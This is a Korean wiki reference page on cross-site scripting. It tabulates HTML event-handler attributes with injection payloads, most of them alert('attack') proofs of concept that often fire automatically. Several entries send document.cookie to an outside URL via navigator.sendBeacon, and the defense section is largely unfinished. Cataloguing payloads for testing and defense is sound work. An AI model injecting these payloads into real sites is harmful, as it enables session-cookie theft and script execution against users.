사용자 도구

사이트 도구


사이드바

기술문서:레퍼런스:보안:xss

문서의 이전 판입니다!


XSS

XSS (Cross Site Scripting) 공격과 방어

공격

HTML Event Attributes

속성 예시 비고
onabort - 강제 중단/취소
onactivate 1) -
onafterprint 2) <body
onafterprint="alert('attack')">
</body>

<frameset
onafterprint="alert('attack')">
</frameset>
인쇄 후
- 인쇄
- 취소
onafterscriptexecute 3) 4) -
onafterupdate 5) -
onanimationcancel 6) - 강제 중단/취소
onanimationend 7) <span
onanimationend="alert('attack')"
style="animation:progress-bar-stripes 1s">
</span>
자동 실행 8)
onanimationiteration 9) <span
onanimationiteration="alert('attack')"
style="animation:progress-bar-stripes 1s infinite">
</span>
자동 실행 10)
onanimationstart 11) <span
onanimationstart="alert('attack')"
style="animation:progress-bar-stripes 1s">
</span>
자동 실행 12)
onappinstalled 13) 14) <body
onappinstalled="alert('attack')">
</body>
PWA 설치 성공 시
onauxclick 15) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onauxclick="alert('attack')">
(영역 내) 떼는 순간
- 왼쪽 버튼 이외
onbeforeactivate 16) 17) -
onbeforecopy 18) <span
onbeforecopy="alert('attack')">
Ctrl + C
</span>
복사 시작 시
onbeforecut 19) <span
onbeforecut="alert('attack')">
Ctrl + X
</span>
잘라내기 시작 시
onbeforedeactivate 20) 21) -
onbeforeeditfocus 22) 23) -
onbeforeinput <input
onbeforeinput="alert('attack')">
입력 직전
onbeforeinstallprompt 24) 25) <body
onbeforeinstallprompt="alert('attack')">
</body>
PWA 설치 가능 시
onbeforematch -
onbeforepaste 26) - 붙여넣기 시작 시
onbeforeprint 27) <body
onbeforeprint="alert('attack')">
</body>

<frameset
onbeforeprint="alert('attack')">
</frameset>
인쇄 전
onbeforescriptexecute 28) 29) -
onbeforetoggle FIXME FIXME
onbeforeunload 30) <body
onbeforeunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onbeforeunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset>
페이지 이탈 시
onbeforeupdate 31) -
onbegin 32) <svg width="0" height="0">
<animate
onbegin="alert('attack')">
</svg>
자동 실행
onblur 33) <input
onblur="alert('attack')">
포커스 이탈 시
onbounce 34) -
oncancel -
oncanplay 35) FIXME FIXME
oncanplaythrough 36) FIXME FIXME
oncellchange 37) -
onchange 38) <input
onchange="alert('attack')">
1) 값 변경
2) 포커스 이탈 시
onchargingchange 39) -
onclick FIXME FIXME
onclose -
oncontentvisibilityautostatechange <span
oncontentvisibilityautostatechange="alert('attack')"
style="content-visibility:auto">
</span>
자동 실행
oncontextlost 40) -
oncontextmenu FIXME FIXME
oncontextrestored 41) -
oncontrolselect 42) -
oncopy 43) <span
oncopy="alert('attack')">
Ctrl + C
</span>
복사 실행 시
oncuechange 44) -
oncut 45) <span
oncut="alert('attack')">
Ctrl + X
</span>
잘라내기 실행 시
ondeactivate 46) 47) -
ondblclick FIXME FIXME
ondevicechange 48) -
ondevicemotion 49) -
ondeviceorientation 50) -
ondeviceorientationabsolute 51) -
ondrag FIXME FIXME
ondragend FIXME FIXME
ondragenter FIXME FIXME
ondragleave FIXME FIXME
ondragover FIXME FIXME
ondragstart FIXME FIXME
ondrop FIXME FIXME
ondurationchange 52) FIXME FIXME
onend 53) <svg width="0" height="0">
<animate
onend="alert('attack')"
dur="1s">
</svg>
자동 실행
onended 54) FIXME FIXME
onerror <img
src=""
onerror="alert('attack')">
자동 실행
onerrorupdate 55) -
onfilterchange 56) -
onfinish 57) -
onfocus 58) <input
onfocus="alert('attack')">
포커스 진입 시
onfocusin 59) <input
onfocusin="alert('attack')">
포커스 진입 시
onfocusout 60) <input
onfocusout="alert('attack')">
포커스 이탈 시
onformchange - 1) 값 변경
2) 포커스 이탈 시
onformdata 61) -
onforminput - 입력 직후
onfreeze 62) -
onfscommand 63) 64) -
onfullscreenchange - 전체 화면 변경
onfullscreenerror - 전체 화면 오류
ongamepadconnected 65) -
ongamepaddisconnected 66) -
ongotpointercapture 67) - 제어권 획득
onhashchange - 해시(#) 변경 시
onhelp 68) -
oninput <input
oninput="alert('attack')">
입력 직후
oninvalid FIXME FIXME
onkeydown FIXME FIXME
onkeypress FIXME FIXME
onkeyup FIXME FIXME
onlanguagechange 69) 70) <body
onlanguagechange="alert('attack')">
</body>
브라우저 설정
- 언어 추가/삭제/이동
- 이 언어로 표시
onlayoutcomplete 71) -
onlevelchange 72) -
onload <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onload="alert('attack')">
자동 실행
onloadeddata 73) FIXME FIXME
onloadedmetadata 74) FIXME FIXME
onloadstart 75) <audio
src=""
onloadstart="alert('attack')">

<video
src=""
onloadstart="alert('attack')">
자동 실행
onlostpointercapture 76) - 제어권 상실
onmessage 77) -
onmessageerror 78) -
onmousedown FIXME FIXME
onmouseenter FIXME FIXME
onmouseleave FIXME FIXME
onmousemove FIXME FIXME
onmouseout FIXME FIXME
onmouseover FIXME FIXME
onmouseup FIXME FIXME
onmousewheel FIXME FIXME
onmove -
onmoveend -
onmovestart -
onmozfullscreenchange 79) - 전체 화면 변경
onmozfullscreenerror 80) - 전체 화면 오류
onoffline 81) - 온라인 → 오프라인
ononline 82) - 오프라인 → 온라인
onorientationchange 83) <body
onorientationchange="alert('attack')">
</body>
화면 회전
onpagehide 84) <body
onpagehide="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onpagehide="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset>
페이지 이탈 시
onpageshow 85) <body
onpageshow="alert('attack')">
</body>

<frameset
onpageshow="alert('attack')">
</frameset>
페이지 진입 시
onpaste 86) <span
onpaste="alert('attack')">
Ctrl + V
</span>
붙여넣기 실행 시
onpause 87) FIXME FIXME
onplay 88) FIXME FIXME
onplaying 89) FIXME FIXME
onpointercancel 90) - 강제 중단/취소
onpointerdown 91) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerdown="alert('attack')">
(영역 내) 누르는 순간
onpointerenter 92) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerenter="alert('attack')">
(영역 내) 진입 시
onpointerleave 93) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerleave="alert('attack')">
(영역 내) 이탈 시
onpointermove 94) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointermove="alert('attack')">
(영역 내) 이동 시
onpointerout 95) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerout="alert('attack')">
(영역 내) 이탈 시
onpointerover 96) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerover="alert('attack')">
(영역 내) 진입 시
onpointerrawupdate 97) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerrawupdate="alert('attack')">
(영역 내) 이동 시
onpointerup 98) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerup="alert('attack')">
(영역 내) 떼는 순간
onpopstate - 뒤로가기
onpresentationconnectionavailable 99) -
onprogress 100) FIXME FIXME
onpropertychange 101) -
onratechange 102) FIXME FIXME
onreadystatechange 103) -
onrejectionhandled 104) -
onrepeat 105) <svg width="0" height="0">
<animate
onrepeat="alert('attack')"
dur="1s"
repeatCount="2">
</svg>

<svg width="0" height="0">
<animate
onrepeat="alert('attack')"
dur="1s"
repeatCount="indefinite">
</svg>
자동 실행
onreset 106) -
onresize 107) <body
onresize="alert('attack')">
</body>

<frameset
onresize="alert('attack')">
</frameset>

<svg width="0" height="0"
onresize="alert('attack')">
</svg>
창 크기 변경
onresume 108) -
onrowenter 109) -
onrowexit 110) -
onrowsdelete 111) -
onrowsinserted 112) -
onscroll FIXME FIXME
onscrollend FIXME FIXME
onscrollsnapchange FIXME FIXME
onscrollsnapchanging FIXME FIXME
onsearch 113) <input
type="search"
onsearch="alert('attack')">
Enter 또는 x
onsecuritypolicyviolation -
onseeked 114) FIXME FIXME
onseeking 115) FIXME FIXME
onselect 116) <input
onselect="alert('attack')">

<textarea
onselect="alert('attack')">
</textarea>
텍스트 선택 시
onselectionchange FIXME FIXME
onselectstart FIXME FIXME
onshow 117) -
onslotchange -
onstalled 118) FIXME FIXME
onstart 119) -
onstop 120) -
onstorage 121) -
onsubmit 122) -
onsuspend 123) FIXME FIXME
ontimeupdate 124) FIXME FIXME
ontoggle FIXME FIXME
ontouchcancel 125) - 강제 중단/취소
ontouchend 126) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchend="alert('attack')">
(영역 내) 떼는 순간
ontouchmove 127) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchmove="alert('attack')">
(영역 내) 이동 시
ontouchstart 128) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchstart="alert('attack')">
(영역 내) 누르는 순간
ontransitioncancel 129) -
ontransitionend 130) -
ontransitionrun 131) -
ontransitionstart 132) -
onunhandledrejection 133) -
onunload 134) <body
onunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</body>

<frameset
onunload="navigator.sendBeacon
('https://wiki.jobdeveloper.co.kr',
document.cookie)">
</frameset>
페이지 이탈 시
onvisibilitychange -
onvolumechange 135) FIXME FIXME
onvrdisplayactivate 136) -
onvrdisplaydeactivate 137) -
onwaiting 138) FIXME FIXME
onwebkitanimationcancel 139) -
onwebkitanimationend 140) -
onwebkitanimationiteration 141) -
onwebkitanimationstart 142) -
onwebkitcurrentplaybacktargetisitemcontainerchange 143) -
onwebkitfullscreenchange 144) - 전체 화면 변경
onwebkitfullscreenerror 145) - 전체 화면 오류
onwebkitmouseforcechanged 146) -
onwebkitmouseforcedown 147) -
onwebkitmouseforceup 148) -
onwebkitmouseforcewillbegin 149) -
onwebkittransitioncancel 150) -
onwebkittransitionend 151) -
onwebkittransitionrun 152) -
onwebkittransitionstart 153) -
onwebkitwillrevealbottom 154) -
onwheel FIXME FIXME
onzoom 155) -

156) 157)

FIXME

  • ReDoS

방어

FIXME

  • HttpOnly 설정
1) , 17) , 21) , 23) , 33) , 47) , 58) , 59) , 60)
포커스
2) , 27) , 30) , 84) , 85) , 134)
<body>, <frameset>
3) , 28) , 79) , 80)
Gecko 엔진
4) , 29)
<script>
5) , 16) , 20) , 22) , 31) , 37) , 42) , 46) , 55) , 56) , 63) , 68) , 71) , 109) , 110) , 111) , 112) , 155)
Internet Explorer
6) , 7) , 9) , 11)
CSS 애니메이션
8) , 10) , 12)
Bootstrap 3.x, 4.x, 5.x 사용 시
13) , 24)
Progressive Web App
14) , 25) , 70) , 83) , 121)
<body>
15)
마우스
18) , 19) , 26) , 43) , 45) , 86)
클립보드
32) , 53) , 105)
SVG 애니메이션
34) , 57) , 119)
<marquee>
35) , 36) , 52) , 54) , 73) , 74) , 75) , 87) , 88) , 89) , 100) , 102) , 114) , 115) , 118) , 123) , 124) , 135) , 138)
<audio>, <video>
38)
<input>, <textarea>, <select>
39) , 40) , 41) , 48) , 49) , 50) , 51) , 62) , 65) , 66) , 72) , 99) , 108) , 136) , 137)
하드웨어
44)
<track>
61) , 106) , 122)
<form>
64)
플래시
67) , 76) , 90) , 91) , 92) , 93) , 94) , 95) , 96) , 97) , 98)
포인터
69)
시스템
77) , 78) , 81) , 82)
네트워크
101) , 120)
Internet Explorer / Edge Legacy
103) , 104) , 133)
비동기
107)
<body>, <frameset>, <svg>
113)
<input>
116)
<input>, <textarea>
117)
Firefox
125) , 126) , 127) , 128)
터치
129) , 130) , 131) , 132)
CSS 트랜지션
139) , 140) , 141) , 142) , 143) , 144) , 145) , 146) , 147) , 148) , 149) , 150) , 151) , 152) , 153) , 154)
WebKit 엔진